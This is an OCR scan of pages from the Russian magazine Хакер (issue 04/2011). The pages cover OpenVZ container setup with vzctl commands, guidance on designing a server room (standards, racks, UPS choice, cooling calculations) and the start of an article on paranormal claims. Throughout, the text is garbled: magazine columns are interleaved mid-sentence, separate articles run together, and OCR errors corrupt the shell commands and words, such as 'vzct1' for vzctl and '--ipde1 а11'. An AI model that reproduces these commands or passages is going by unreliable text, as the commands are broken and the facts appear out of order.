sudo vzctl start 100 Starting VE ... VE is mounted Adding IP address(es): 192.168.0.100 Setting CPU units: 1000 Configure meminfo: 65536 . Set hostname: host . ru File resolv.conf was modified VE start in progress ... > sudo vzlist VEID NPROC STATUS IP ADDR

> sudo vzctl create 100 --ostemplate debian-S.0-x86 --с

>

8 running 192 . 168 . 0 . 100

100 >

HOSTNAME host.

ги

I

Для запуска контейнера достаточно выполнить одну команду

onfig vps.basic Creating VE private агеа (debian-S.0-x86) Performing postcreate actions VE private агеа was created > sudo vzctl set 100 --onboot yes --save Saved parameters for VE 100 > sudo vzctl set 100 --hostname host.ru --save Saved parameters for VE 100 > sudo vzctl set 100 --ipdel all --ipadd 192.168.0.100 --save Saved parameters for VE 100 > sudo vzctl set 100 --nameserver 192.168.0.1 --save Saved parameters for VE 100 > sudo vzctl set 100 --userpasswd root:123 --save Starting VE ... VE is mounted Создать новый контейнер ОрепVZ действительно

destroy. Также доступны команды enter, start, stop и restart, позво­

просто

ляющие «заходить» В контейнеры и управлять их работой .

Vzcd -

очень гибкая утилита, с помощью которой можно создать и

полностью настроить коитейнер почти любой сложности, не затронув

# vzct1 set 100 --vmguarpages

256М:256М

# vzct1 set 100 --privvmpages

512М : 512М

--save --save

ни единого конфигурационного файла. Вот как это делается:

1. Сначала создаем новый контейнер с номером 100 (кстати, в качестве

10. Теперь можно войти в контейнер и продолжить настройку уже

номера удобно использовать последнюю часть его IP-aдpeca):

внутри него (установить необходимые сервисы, настроить брэнд­ мауэр и маршрутизацию):

#

vzct1 create 100 --ostemp1ate debian-5.0-x86 \ --config vps.basic

Здесь debian-5 .0-х8б -

tar.gz, а vps.basic -

это скачанный ранее шаблон без расширения

набор стандартиых предустановок, которые мы все

равно собираемся меиять .

2. Меияем настройки контейнера так, чтобы он запускался при загруз­

# vzct1 enter 100 Более подробную информацию о настройке контейнеров можно по­ черпнуть из man-страницыvzсd .

UBe в терминах орепvzлимитыI и гарантии ресурсов называются User Beancounters (UBC) . Всего существует около 20 UBC, контролирую­ щих почти все возможные ресурсы системы. Каждый UBC имеет свою опцию в команде vzctl, а также строку в файле / proc/ user_ beancounters, с помощью которого можно узнать о текущем количе­

кесистемы:

# vzct1 set 100 - -onboot yes - -save

3. Меияем сетевое имя контейнера:

стве вьщеленных ресурсо в и определить их нехватку. Файл представ­

# vzct1 set 100 --hostname

my-first-vрs.Drg.ru

--save

ляет собой таблицу, каждая строка которой содержит информацию об одном ресурсе, а колонки отражают следующие данные:

4. Даем ему новый IP-aдpec: /proc/user_beancounters uid - идентификатор контейнера; resource - имя ресурса; he1d - текущая утилизация ресурса; maxhe1d - максимальный уровень утилизации

Файл

# vzct1 set 100 --ipde1

а11

--ipadd 192.168.0 . 100 --save

5. Указываемдефолтный DNS-сервер: #

vzct1 set 100 - - nameserver 192.168.0.1 - - save

• • • •

• barrier б . Устанавливаем пароль пользователя root:

vzct1 set 100 --userpasswd root : password --save

жесткое ограничение утилизации ресурса,

которое никогда не может 6ыть превышено;

• fai1cnt 7. Вьщеляем контейнеру 15% от общей мощности процессора (один

максимальный уровень утилизации ресурсов,

который может 6ыть временно превышен;

• limit #

ресурса

за все время ра60ТЫ контейнера;

счетчик отказов, который увеличивается к аждый раз,

когда контейнер делает запрос ресурсов сверх своего лимита.

процессор-это 100%,два-200%, четьrpе-400%итакдалее):

Не обязательно разбираться во всех тонкостях системы подсчета ре­

#

vzct1 set 100 --cpulimit 15 --save

сурсов OpenVZ, чтобы эффективно управлять контейнерами. Доста­

точно время от времени поглядывать на значение колонки fai1cnt и ,

8. Вьщеляем контейнеру 20 Гб дискового пространства с возможно­ стью его превышениядо 25 Гб на небольшой промежуток времени:

если оно оказывается больше нуля, начинать предпринимать меры либо по оптимизации исполняемого в рамках контейнера софта, либо по увеличению количества вьщеляемых контейнеру ресурсов.

#

vzct1 set 100 --diskspace 20G:25G --save

ВЫВОДЫ

9. Устанавливаем ограничение на объем оперативной памяти (в пер­ вой строке устанавливаем гарантированный ресурс, во второй - не­

зывать термином «виртуализация уровня ОС", но изложенной в ней

гарантированный, он будет доступен контейнеру только в том случае,

информации вполне достаточно, чтобы начать применять техноло­

если в системе есть его излишек):

гиюидвинутьсядальше. ::х:

~1ЗО

Эта статья охватывает лишь малую часть того, что принято на­

ХАКЕР

04 1147 12 011


• •

Денис Колисниченко

IdhsiLabsramaiL . ru. dkws.oгg.uaJ

Азбукасерверной Оборудуем серверную комнату для компаний малого и среднего бизнеса в этой статье будет подробно рассмотрен процесс проектирования серверного помещения, описа­

ны общие рекомендации, правила и методы построения серверной.

Зачем нужна серверная?

соединениях, маршрутах, местоположении оборудования . Не забудь

Прежде всего нужно сказать, что серверная -это комната, занятая

и о приличных источниках питания (об этом мы тоже поговорим от­

крупным телекоммуникационным и /или серверным оборудованием

дельно) .

(Денис, я понимаю, что гонорар у нас зависит от количества символов,

Все объекты серверной можно разделить на три большие группы :

но это же не повод рассказьmать читателям] [ о том, что такое сер­

физические, логические, сервисные. К первым относят железо (ком­

верная :) -

мутаторы, серверы и так далее) , а также климатическое оборудование

прим. ред.). Создание серверной -

процесс недешевый,

поэтому прежде, чем приступить к проектированию, нужно решить,

(впрочем, и о выборе кондиционера мы также поговорим особо) .

зачем тебе нужно серверное помещение. Решить, не опираясь на такие

Логические объекты -

эфемерные аргумеитыI' как «у соседей есть, а умеия -

средства связи (как внутренней, так и доступа к интернету) .

нет» или « сер­

это программное обеспечение, а сервисные­

верная -это круто» . Нужно выделить преследуемыецели, именно от

Раньше в крупных компаниях бьvlO два отдела -

них и зависит, какой будет серверная (настоящий ангар или маленькая

ная. В отделе связи располагались устройство автоматического распре­

каморка). Тщательное осмысление цели может привести даже к осо­

деления вызовов (Automatic Cal! Distribution), кнопочные телефонные

знанию того, что серверная тебе вовсе не нужна. На мой взгляд, можно

системы

выделить три основных цели создания серверной .

очень часто все это оборудование помещают в серверную. В принципе,

Первая -это эффективное размещение оборудования в одном месте . В

так действительно удобнее, ктому же нет необходимости выделять еще

результате помимо удобства получишь еще и повышение продуктивно­

одну комнату и обеспечивать ее защиту (как минимум необходимы

сти -

не нужно бегать с этажа на этаж в поисках конкретного сервера.

отдел связи и сервер­

(KeyTelephone System), внутренние АТС и такдалее . Сейчас

кодовый замок и камера наблюдения) .

В качестве небольшой иллюстрации хочется вспомнить одну организа­

Хорошая серверная (а не ее жалкое подобие) должна соответствовать

цию, в которой бьUIО три сервера . Первый (lIUIюз) находился на первом

стандартуТIA-5б9, в котором описаны требования к серверному по­

этаже возле охраны

-

видимо , когда <<тянули» интернет, посчитали,

мещению.

что так будет удобнее (удобнее сотрудникам провайдера, но никак не

1. Наличие не менее одной двойной электрической розетки с заземле­

администраторам заказчика) ; сервер баз данных -

нием на каждые три погонные метра любой стены . Представим, что у

контроллер домена -

на втором этаже, а

вообще вдругом крыл.е. Согласись, бьvlO бы на­

много удобнее разместить все эти серверы в одном помещении. Вторая цель -

защита «стратегических объектов» от несанкциониро­

ванного доступа. Иногда обычная уборщица может оказаться самым

нас есть комната 3х4. По стандарту в ней должно быть четыIедвойныыx заземленных розетки. Если розеток больше -тоже хорошо . Вот только не забываем о ключевом слове «заземление». Если здание достаточно древнее, желательно еще и помеиять электрическую проводкув сер­

злостным хакером, потому что пути швабры ее неисповедимы . И

верной, чтобы не было проблем хотя бы с электричеством.

вообще, лучше, если серверы будут меньше бросаться в глаза обычным для них отдельное защищенное помещение . Впрочем, о защите сервер­

2. Максимальная распределенная нагрузка на пол должна составлять 12 кПа, максимальная сосредоточенная нагрузка - 4.4 кН. 3_для освещения комнатыI рекомендуется использовать галогенные

пользователям

-

поэтому, если сервер не один, желательно выделить

ной мы поговорим отдельно .

лампы для снижения электрических помех. Сейчас появились так на­

Третья цель-оградить серверное оборудование от сбоев питания и

зываемые «экономныелампы» -тоже неплохой вариант для сервер­

неблагоприятных условий окружающей среды благодаря поддержа­

ной . Они не только экономят электричество, но и выделяют меньше

нию постоянных климатических условий внутри серверной.

тепла, что особенно актуально летом .

А теперь разберемся, для кого серверная не является необходимой.

4. Сер верную нужно располагать вдали от источников электромагнит­

Если у тебя всего один сервер, и он же -

ного излучения. Желательно, чтобы после размещения всего оборудо­

рабочее место администрато­

ра, то совершенно очевидно, что серверная не нужна. Лучше потратить

вания в помещеиии бьUI запас пространства -

немного денег и купить приличный ИБП для сервера. Да, приличный,

5_Минимальный допустимый размер серверной -12 кв. м, но этодей­

а не тот, который установлен сейчас- на нем сервер « протянет» В

ствительно минимальный размер для серверной. На бумаге размеры

лучшем случае минут пятнадцать.

помещения не ощущаются. Попробуй найди комнату размером 12 КВ.

Начинаем проектировать Если серверная тебе все-таки нужна -

читайдальше . Перед проек­

на случай расширения.

м и представь, что в нее нужно поместить все необходимое оборудо­ вание. А ведь еще в этой комнате должно остаться пространство для администратора (администраторов).

тированием серверной нужно раздобыть план здания, в котором она

б_ Минимальная высота потолка серверной составляет 2.44 м .

будет размещаться, с целью выбрать для нее оптимальное помеще­

ние. Отталкиваясь от плана, можно создавать проект серверной. Не

7. Система кондиционированиядолжна поддерживать температуру 18-24 градусов по Цельсию и относительную влажность 30-55%.

стоит сразу начинать тащить все сетевое оборудование в выбранную

Кроме серверной в помещении могут быть телекоммуникационные

комнату. Сначала проект, потом реализация. Как в пословице: семь

шкафы . В них, как правило, размещают оборудование, обслуживаю­

раз отмерь ... Желательно, чтобы проект соответствовал прииятым

щее текущий этаж. В одной организации видел самый уникальный

стандартам (о них -

телекоммуникационный шкаф: он представлял собой коробку от

~1З2

немного позже) , содержал сведения обо всех

ХАКЕР

04 / 147 / 2011


Ссылки

СIОЙКИдЯясерверного

• Стандарт TIA-569: dkws.org.ua/files/tia-569.doc ;

Итак, ты уже выбрал комнату для серверной и модифицировал (если

необходимо) ее проводку. Самое время установить в ней сетевое обо­

здесь можно ознакомиться с примерными ценами на

оtюрудования

серверные стойки и шкафы [ссылка приводится не из

рудование . Но чтобы оборудование бьио упорядочено, необходимы

соображений рекламы!: rackpro.ru ;

телекоммуникационные стойки -

• топология ИБП : тэнси.рф/агt i сlе04.html ; • си стемы видеонаблюдения: axis.com/ru/products/index.htm ; • расчет EER : еп.w i k i реdiа.огg/wiki/Епегgу efficiency ratio ;

назначенные для удобного, компактного и безопасного размещения

• «уникальны й» телекоммуникационный ш каф : dkws.org.ua/ ph pbb2/topic4 970. html.

специальные конструкции, пред­

серверов, маршрутизаторов и другого сетевого оборудования. Если ты никогда раньше не работал со стойками, нужно поговорить

об их размерах. Ширнна стойки составляет 19 дюймов (юrи 482,6 мм) -это стандарт, но встречаются стойки с шириной 10юrи 23 дюйма .

Глубина выбирается в зависимости от используемого оборудования и может быть 600, 800 юrи 900 мм, но бывают стойки и с большей глу­ материнской платыI' подвешенную к потолку. В коробке нахоДЮIСЯ коммутатор

...

биной . Оборудование монтируется в стойку в специальных корпусах (такие корпуса называются Rасkmоuпt). Как правюrо, ширина корпуса

Требования ТIA-569 к шкафам следующие;

составляет 17,75 дюймов

1. На каждом этаже должен бьrrъ как минимум один шкаф.

стветакназываемых юнитов (Uпit, о них позже). Так что для установки

(450,85 мм) , а высота измеряется в количе­

2.Несколькошкафовнаодиомэтаженужносоединятькакминимум

сервера в стойку придется покупать специальный корпусдля него.

одним коИДУИТом (металлические и неметаллические трубки жесткой

Теоретически можно установить в стойку обычный компьютер в кор­

юrи гибкой конструкции, разрешенные для применения соответствую­

пусе МiпiТоwеr (естественно, установленныIй на бок) с помощью специ­

щими электрическими инструкциями) калибра 3.

альных поддонов, но практнкуется такой подход очень редко. Если ты

3. В шкафу не должно бьrrъ фальшпотолков. 4. минимальныIй размер двери шкафа; высота 2 000 мм, ширина 910 мм. Дверь должна открываться наружу (юrи раздвигаться), но не

хочешь сэкономить, то зачем тогда вообще нужна стойка? Теперь разберемся, что такое юнитыI (юrи стоечные юнитыI - так

внутрь.

элементах стойки каждые 1.75 дюйма (444,5 мм) , эта величина и

правюrьнее). Крепежные отверстия располarаются на вертикальных

5. Уровень освещенности вшкафу - не менее 540 лк на высоте 1 м над

называется одним юнитом. Высота стойки, как правюrо, указывается

уровнем пола.

в количестве юнитов, что очень удобно -тебе не нужно вычислять,

6. Наличие как минимум двух розеток. 7. Шкаф должен бьrrъ подключен к главному электроду системы за­

сколько элементов поместится в стойку42U -это и такпоиятно. В нее

поместится 42 элемента по 1U. Обычно устанавливаемое оборудова­

земления здания .

ние чуть меньше, чем 1U-

Помимо требований к шкафам есть еще и рекомеидации, вьmолНятъ

устанавливать и извлекать любое оборудование без необходимости

не 444 мм, а 437 -это позволяет удобно

которые не обязательно, но желательно;

извлечения верхнего или нижнего от него устройства .

1. Размер шкафа (площадь пола) при обслуживаемой площади до 500 кв. м составляет 3.0 м х 2.2 м, при площади до 800 кв. м3.0м х 2 . 8м , при площади до 1 000 КВ . м-3.0м х 3Ам. Если обслуживаемая площадь превышает 1 000 кв. м , нужно обесп ечить

Комплектация стойки бывает разной. Это может быть просто стойка,

наличие дополнительных шкафов на этаже .

дения, но и тут возможныI вариантыI -

2 . Две стены шкафа рекомендуется покрьrrъ панелями изДСП юrи

aвToHoМНbIX сплнт-систем. Также стойки могут оснащаться различныI­

а может быть стойка со стеклянной дверью, что не только более эсте­ тично, но и позволяет ограничить доступ кустановленному в стойку оборудованию. Более дорогие стойки оснащаются системами охлаж­

от обычных вентиляторовдо

фанеры для монтажа настенного оборудования.

ми иидикаторами (например, температура внутри стойки), распреде­

3. Шкаф желательно располarать ближе к центру обслуживаемой

лнтелями питания и такдалее.1ут все зависит от цены -

зоны.

тем больше «опций " будет в стойке. На рисунке 1 изображена стойка с

ХАК ЕР

04 / 147 / 2011

чем дороже,

~ 1ЗЗ


Рис.

Рис.

1.

Серверный шкаф с

Рис.

2.

3. Вентиляторная полка. Примерно $120

Типичная стойка

без охлаждения

охлаждением

автономной сrиит-системой: дверь здесь используется не для красоты, а для поддержания оптимальной температуры внутри стойки_ Стойки с системами охлаждения и дверями некоторые производители на ­

зывают сейчас серверными шкафами -

впрочем, такдаже поиятнее.

На рисунке 2 изображена стойка без охлаждения и без двери. Стойки с охлаждением стоят дороже, но зато позволяют сэкономить на конди­

ционерах внутри серверных: вам уже не нужен мощный кондиционер, хватит самого простого -

для персонала, который будет находиться

внутри серверной. Пару слов о ценах. Раз статья у нас практическая -ты должен знать,

что сколько стоит. Типичная стойка 20U, на колесиках, без охлаждения

и двери, с глубиной 600 или 900 мм стоит от $270 до $400 соответ­ ственно. Но можно найти вариантыl и дешевле - кто ищет, тот всегда

найдет. Настенный серверный шкаф 12U без комrиекта вентиляторов (зато с дверью, запираемой на ключ) обоЙДе-r.ся в $230. Стоимость вен­

Рис.4. ИБП ДРС

Smart-UPS RТ 5000Уд.

вид спереди

тиляторов-от$19 (за 1 вентилятор) до $120за вентиляторную полку

из шести вентиляторов . Шкафы 6U стоят от $130.

(последнее в современном мире обходится дороже, чем замена жест­

Классический (не настенный) шкаф высотой 22U с вентиляторами и

кого диска). Воттогда покупают ИБП для сервера . Позже (как правило,

розетками стоит около $900, более серьезные шкафы -

после очередного перепада) покупаются ИБП для рабочих станций

совсем мощные модели -

от $1500. Есть

всепогодные шкафы, предназначенные для

(и то не для всех) , в итоге получается хаотическая система . Нужно ее

наружного использования . Такой шкаф размером 1500мм х 550мм х

упорядочить.

1600мм будет стоить от $5000. Но в нашем случае такой шкаф не нужен

Итак, начнем подбор ИБП. Нам нужен ИБП мощностью 5-6 кВА (более

-

слабые модели отлично подойдут для рабочих станций, но никак не для

если , конечно, в серверной есть окна и не течет крыша.

серверной комнатыl•. С мощностью все просто -

ИБП ДЛЯ серверной

покупаем мощные

модели ИБП, и на этом все. Хотя некоторые специалистыl утвержда-

Вспомним цели, ради которых мы создавали серверную, а именно­

ют, что нижняя граница мощности составляет 1 кВА, и рекомендуют

удобное размещение оборудования, защита от несанкционированного

ИБП вроде АРС Smart-UPS RT 1000VA. В качестве примера можно

доступа, перепадов питания и неблагоприятных климатических усло­

привести статью «Источник бесперебойного питания для серверов»

вий. Первые две цели ужедостигнутыl лагодаряя выделению отдельной

(опубликована на compress.ru). Да, выходит, дома под столом у меня

комнатыl и покупке серверной стойки (или нескольких -

серверный ИБП

в зависимо­

(Mustek PowerMust 1000), а я об этом и не знал, потому

сти от количества оборудования). Сейчас мы поговорим о защите от

что всю жизнь думал, что для сервера нужно что-то помощнее ... Если

сбоев питания, а чуть позже-об организации подходящихклиматиче­

есть огромное желание сэкономить, то покупай ИБП мощностью от 2

ских условий. Когда есть всего один сервер, то достаточно купить один

кВА -такое устройство обойдется не менее $300 (цена варьируется

мощный ИБП и задача будет достигнута. Но если речь идет о целой

в зависимости от производителя) . ИБП от неизвестного китайского

серверной комнате, к выбору ИБП нужно отнестись более серьезно­

вендора обойдется чуть дороже $300, а устройство узнаваемой фирмы

хотя бы потому, что это штука дорогая, а средняя наработка на отказ в

-от $400. Нормальный ИБП для сервера, на мой взгляд, этоАРС Smart-

дорогих моделях составляет более десяти лет, так что к покупке ИБП ловложению. Я более чем уверен, что за это время ты помеияешь свои

UPS RT 5000VA и подобные ему. Цена такого устройства начинается от $2500. Дорого? Ая в самом начале статьи предупреждал, что построе­ ние серверной - занятие дорогое . 3ато этот ИБП прекрасно поместит­

сервера, а ИБП -

ся в серверную стойку.

нужно отнестись не просто как кпокупке оборудования, а как к капита­ останутся. Очень жаль, но часто об ИБП вспоминают

в самую последнюю очередь

-

когда от перепада напряжения сгорела

материнская rиата, умер жесткийднск или произошла потеря данных

~1З4

Кроме мощности для ИБП важна топология. Компании, специали­ зирующиеся на недорогих моделях, утверждают, что для сервера

ХАКЕР

04 / 147/ 2011


если утебя солнечная сторона, то нагрузка от окон будет больше, чем на противоположной стороне здания. Если серверная находится на по­ следнем этаже, то нагрузка будет происходить еще и от крыши, которая летом постоянно нагревается. Все это должен рассчитать специалист

по установке коИДиционера. Затем нужно добавить к полученному показателю свои значения, и останется сравнить общую тепловую нагрузку с эффективностью охлаждения коидиционера (параметр

EER), подробно об этом можно прочитать тут: en.wikipedia.org/ wiki / Energy efficiency ratio. Чуть ранее бьшо сказано, что у некоторых серверных шкафов есть собственные сплит-системы, в этом случае тепловой нагрузкой от оборудования, установленного в шкаф, можно частично пренебречь. Но нужно учитывать тепловую нагрузку от самого шкафа -

она

будет меньше, чем от всего оборудования, но все же будет (задняя стенка холодильника ведь греется, хотя в самом холодильнике­

холодно).

Рис.

Нормальная влажность для компьютерных систем -

ИБП,

6. Мой «серверный» Mustek PowerMust 1000 offline

ная -40-50%). Если влажность низкая, возникнут проблемы сэлектро­

30-55% (идеаль­

статическими зарядами. Если же влажность слишком высокая, влага

будет конденсироваться на платах, что вызовет окисление контактов и замыкание. Бороться с высокой влажностью можно с помощью конди­ будуг оптимальны линейно­

ционеров с функцией осушения воздуха (такие сейчас- не редкость).

интерактивная топология

А вот если влажность низкая, подойдугувлажнители воздуха (самый

(Line-Interactive UPS) и даже (Off-Line UPS).

дешевый стоит около 2 000 рублей). Впрочем, можно найти кондицио­

офлайн-топология

нер и с увлажнителем воздуха. А еще лучше, если кондиционер будет

Причем не только утверждают, но

автоматически поддерживать необходимые температуру и влажность.

еще и выпускают мощные модели

Рис.

слинейно-интерактивнойтопо­

Дополнительное оснащение

логиеЙ. Зато компании, специали­

Стойки, серверы -

зирующиеся на болеедорогих и

минимум от двух факторов: несанкционированного проникиовения

5. ИБП АРе Smart-UPS 5000VA, вид сзади

мощных моделях, для сервера рекомендуют только топологию онлайн

это еще не все. Серверную нужно защитить еще как

и пожара. для защитыI от несанкционированного доступа желательно

(On-Line UPS, ИБПнепрерывногодействия, тотжеАРС Smart-UPS RT

оснастить дверь в серверную приличным замком, в идеале -электрон­

5000УА).

ным, чтобы фиксировались перемещения сотрудников из комнаты и в

Какая топология лучше ? Конечно же, онлайн, но она идороже. Авсе

комнату. КРУГ сотрудников нужно ограничить -

прекрасно понимают, что на практике нужно будет вписаться в опреде­

не всем желающим, а только администраторам. Если решили сэконо­

ленный бюджет. С другой стороны, линейно-интерактивные ИБП по-

мить и установили обычный замок, то не забудьте один ключ выделить

стоянно совершенствуются, о чем свидетельствует появление на рынке

охране- на всякий случай.

мощных моделей ИБП с такой топологией, которые тоже стоят немало.

Стоимость видеокамер и видеосерверов может варьироваться в за­

Если тыI не понимаешь, чем отличается одна топология ИБП от другой,

висимости от возможностей оборудования. Вполне возможно, что

рекомендую прочитать следующую статью: тэнси.рф/аrtiсlе04. html .

захочется установить видеонаблюдение не только за серверной, но и

за всем офисом. Ознакомиться с необходимым оборудованием и при­

Климатическая техника Нормальная температура для раБотыI компьютеров -

предоставить доступ

мерными ценами можно на сайте компании Axis: axis.com/ ru/ products примерно 20

(это не реклама, просто я нашел на этом сайте весь необходимый

градусов Цельсия. Но, сам понимаешь, такие условия встречаются

ассортимент) .

далеко не всегда, особенно летом. А вот теперь начинается самое

Дорого? Да, можно поставить четыIехканальныый видеорегистратор

интересное. Многие из нас привыкли подбирать коИДиционер по

наподобие AVТech КPD-670Z, прикупить четыIеe видеокамеры (хватит

площади помещения, в котором он будет установлен. В данном случае

не только для серверной) ,жесткий диск на 1 Гб и старый телевизор­

это неправильно. Нужно рассчитать общую тепловую нагрузку, а затем

всего этого достаточно для создания системы видеонаблюдения. Но это

подбирать коидиционер, соответствующий этому параметру.

уже прошлый век.

Тепловая мощность измеряется в БТЕ (Британская термическая

Вне зависимости от используемого замка в серверной нужно настроить

единица), она же BТU (British thermal unit).

камеру наблюдения, а при обработке особо важныхданных -

1 Вт примерно равен 3.412

устано­

БТЕ/час. Например, пусть в помещении находится десять компьюте­

вить сигнализацию и подключить ее к пульту охраны .

ров, каждый из которых потребляет по 400 Вт. Рассчитаем тепловую

Наличие пожарной сигнализации и огнетушителей -

мощность:

нормы безопасности. В серверной довольно много электрооборудо­

это обычные

вания (весьма дорогого ), и никогда не знаешь, что может случиться.

10

х

400

х

3.412

= 13 648

БТЕ/час

Наличие огнетушителей позволит персоналупотушить начавшийся пожар до того, как пожарная сигнализация затопит всю комнату (и

Помимо компьютеров источниками тепла являются сами пользова­

тогда ущерб будет значительно выше, поскольку будет залито водой

тели и осветительные приборы. Пусть в помещении включено пять

все, включая то, что даже и негорело).

лампочек по 100 Вт каждая, рассчитаем тепловую мощность:

5

х

100

х

3.412 = 1 706

БТЕ/час

Заключение Мы рассмотрели основные аспектыI' касающиеся построения сервер­

ной. Напоследокя рекомендую ознакомиться со стандартом ТIA (на Один пользователь выделяет тепла на 300 БТЕ/час. Выходит, нашидва­

моем сайте тыI найдешь этот стандарт в переводе на русский и с иллю­

три администратора создадуг нагрузку еще в 600-900 БТЕ/час.

страциями), из которого можно почерпнуть много полезной информа­

Осталось учесть тепловую нагрузку от окон, стен и потолка. Например,

ции относительно построения серверной KOMHaТbI. ::х:

ХАКЕР

04 / 147 / 2011

~1З5


Щlif • •

Оксана

«Oriyana»

Андреева

(or iy anafi3 x psy ch o.ru l

• •

ПОТАЕННЫЕ УГОЛКИ СВЕРХСОЗНАНИЯ Мифы и реалии паранормальных способностей человека. Истина где-то рядом. Признайся

-

навернякаты не раз мечтал в школезапуститьучебник

в голову одноклассника однои силои мысли или взглядом поджечь

класс перед годовой контрольной по нелюбимому предмету? Значит, истории опаранормальных явленияхтебе знакомы. Но если в дет­ стве это было просто чем-то из разряда сказок, то сейчас тебе, как истинномухакеру, должно быть интересно докопаться до сути: есть

ли в этих рассказах хоть капля правды или все- сплошной вымысел? Как бы скептически не были настроены мы с тобой, но довольно многие люди утверждают,

что паранормальные явления

-

вполне

взялись так называемые « парапси холо ги ». Как гла сит широко растиражированная в СМИ версия, пара психологов п ригласили

естественны , хоть и проявляются редко. Итак, для начала давай

жители деревни , соседи мальчика-поджигателя , пос кольку нико­

определимся с т ерминологией. Как нам сообщает

му не улыбалось жить рядом с ходячим фаЙрболом. Несчастные

Wikipedia,

паранормальными явлениями являются феномены, существо­

родители , а также само юное дарование с радостью с огл асились

вание которых научно не доказано. При э.том к ним относятся

на все предложенные опыты, лишь бы пре кратить это мракобе­

только те феномены, само существование которых не являет-

сие. В «лабора тории » [это цитата, что представляет собой лабо­

ся Достоверным.Явления, обоснования которых находятся за

ратория парапсихологов -

пределами современной научной картины, но существование не

обнаружили сильный стресс, который, по его словам, длится уже

подлежит сомнен ию, паранормальными не являются.

несколько лет. Измерение биополя приборами [даже не с п раши­

Таким образом , паранормальные явления

- это нечто , что никто

не видел, а те, кто якобы видел, не могут ни доказать это, ни

можно только догадыватьсяl у парня

вай, это снова цитатаl продемонстрировало повышенные пока­ затели электрических полей и энергетический потенциал выше

каким-либо образом объяснить. Тем не менее, эти более чем

среднего [KaKoBo?ll.

эфемерные события не только веками будоражат сознание

« П остоянный стресс привел к переизбытку энер гии и электри­

людей, но и обросли обширной теоретической базой. Например ,

чества, а как сле дствие

существует целая классификация паранормальных способно ­

возгорания п риве л и к стрессу?»,

стей, которые подразделяются на ясновидение , экстрасенсорику,

Вопрос оказался риториче ским, какого-либо объяснения и , тем

пирокинез, телекинез, телепортацию и даже так ую трогательную

более, решения, парапсихологи не предложили . Так что ты, на

к вызыванию огня , или спонтанные

-

вопрошают пара п с ихологи .

всякий случай, не переутомляЙся. Или держи рядом с кроватью

« дисциплину» как длительное голодание.

огнетушитель. Существование данного феномена, конечно, не

Очевидное? Невероятное? Слегка ·невнятное ...

доказано, но ведь и не опровергнуто , так?

Предлагаю ознакомиться с одной из историй, получивших в свое время широкую огласку и до сих пор передающихся из

уста любителями газеты «Жизнь» и сериала

-

уст в

X-Files.

Как стать экстрасенсом сбпомо­ щью измерительных при

оров

Любопытно, что несмотря на то, что парапсихология наукой,

Итак, ХХI век, Украина, поселок, относящийся к районному

конечно же, не считается, существует множество людей, причи с ­

центру. Подросток-старшеклассник обвиняется в поджигании

ляющих себя к ее аде птам. В кругах « пара п с и хологов» по п уля­

своего дома. Родители в отчаянии, он сам в шоке, уверяет, что

рен известный афоризм «Наука рождается там, где происходит

не было даже мыслей о поджоге. Через некоторое время маль­

что-то необъяснимое», видимо, понимаемый слишком бук­

чику вынуждены поверить, так как загорается белье в ванной

вально

или конфорки на кухне тогда, когда сам парень уже полтора часа

явлений утвержд ают, что в своей работе они используют самые

сид ит с родителями в комнате. онятно, что наука на сегодняш­

что ни на есть научные инструменты. Более того

ний день не может дать объяснения таким случаям, но за дело

статье по п арапсихоло г ии ты не найдешь сооб щений о том , что

~1з6

..

Пр и этом с п ециалисты п о изучению паранормальных

-

НИ В одной

ХАКЕР

0 4 11471 20 1 1


~~CDATS

Каждый уважающий себя американский солдат обязан обладать сверхспособностями! какие-либо исследования прошли неуспешно. Наоборот, судя

и высокую работоспособность или способно вызвать у ныние и

по описываемым экспериментам, большинство из ни х тянет как

плохое самочувствие.

минимум на Нобелевскую премию. Чего стоит одно только изме­

И надо сказать, что эти ут верждения, о тдающие, на первый

рение ауры человека

l

взгляд, каким-то мистицизмом, на самом деле не лишены логи­

Давай снова обратимся к нашему понятийному аппарату: аура

-

ки. Если отбросить «ритуальную» составляю щую, то разве не

это проя вление души челове ка, которое обыч но пр едставляется

испытываем мы все т о же самое? Нав е рняка ты замечал, что

как невидимый ореол, окружающий тело. В эзотерике счита­

проходя мимо кинотеатра, где не ра з был с любимой дев у шкой,

ется, что увидеть ауру может только человек со сверхчувстви­

или мимо бара, где традиционно проходят сейшны с друзьями,

тельным восприятием [иначе говоря -

мы начинаем улыбаться, предаемся приятным мыслям. У этих

экстрасенсl. При этом

современные пар апсихолог и трактуют ауру как «со вок уп н ость

мест «хорошая аура».

электрических , электромагнитных и тепловых п олей» и активно

А как мы чувствуем себя, например, находясь возле онкоцентра?

практикуют ее измерение. Логично предположить, что получен­

Испытываем ощущение беспокойства, поскольку подсознатель­

ные результаты, как и любые другие результаты измерений· , воз­

но ассоциируем объект с болью, горем, хотя сами

можно визуализировать. Таким образом, любой девятиклассник,

и вообще идем совершенно не туда , В той или иной степени

-

здоровы,

хоть раз оформлявший лабораторную работу, фактически может

это чувствуют все, просто кто -то -

претендовать на звание экстрасенса. Но это, конечно, читер­

замечаетl, а кто-то -

ство , ведь с точки зрения пар а психологии настоящий экстрасенс

заплака ть, проходя мимо детской больницы или впас ть в бла­

может и должен чувствовать биополе не при помощи какого­

гостное настроение, увидев купола церкви!.

либо стаффа, а исключительно посредством собственных рук. И это касается не только людей , но и всего окружающего

-

в

том числе, например, домов. Та к , экс тр асе н с , входя в зда ние, может определить, хорошая у него аура или

плохая

-

прине-

сет ли пребывание в этом помещении радостное настроение

ХА КЕР

04 / 147/ 2011

слабее [так что даже сам не

очень остро [такие люди могут, например,

КлассиФикация .. паранормальных способностеи Как уже было сказано выше, теория паранормальных явлений не

только имеет множество последователей, но и включает в себя

~1З7


-Щlit

значительное количество подразделов. Предлагаю ознакомиться

либо вращать небольшие предметы, вызвать ожог кожи другого

с каждым из них

человека одним своим прикосновением, выбрать из кучи оди­

-

уверяю тебя, это весьма любопытно.

наковых мелких предметов один помеченный, рассеивать луч

> Полтергейст

лазера ладонью и прочее. Разумеется, таких людей немного,

Полтергейстом принято называть необъяснимые явления, харак­

и они представляют несомненный интерес не только для пре­

теризующиеся шумом, стуками, самопроизвольным движением

клоняющихся перед «продвинутыми» парапсихологов,

предметов, неожиданными и необъяснимыми возгораниями и

науки. Например, «фокусы» той же Нинель Кулагиной изучали

так далее. Необычный термин образован от немецких роltегп

«шуметь», «громыхать» И Geist -

-

«дух». Именно этим [шумным

несколько десятков ученых.

но и для

Известны некоторые результаты

проведенных при участии Кулагиной лабораторных опытов: во

поведением расшалившихся духов) и объясняют полтергейст

время ее «работы» аппараты отмечали изменение электриче­

приверженцы теории существования пара нормальных явлений.

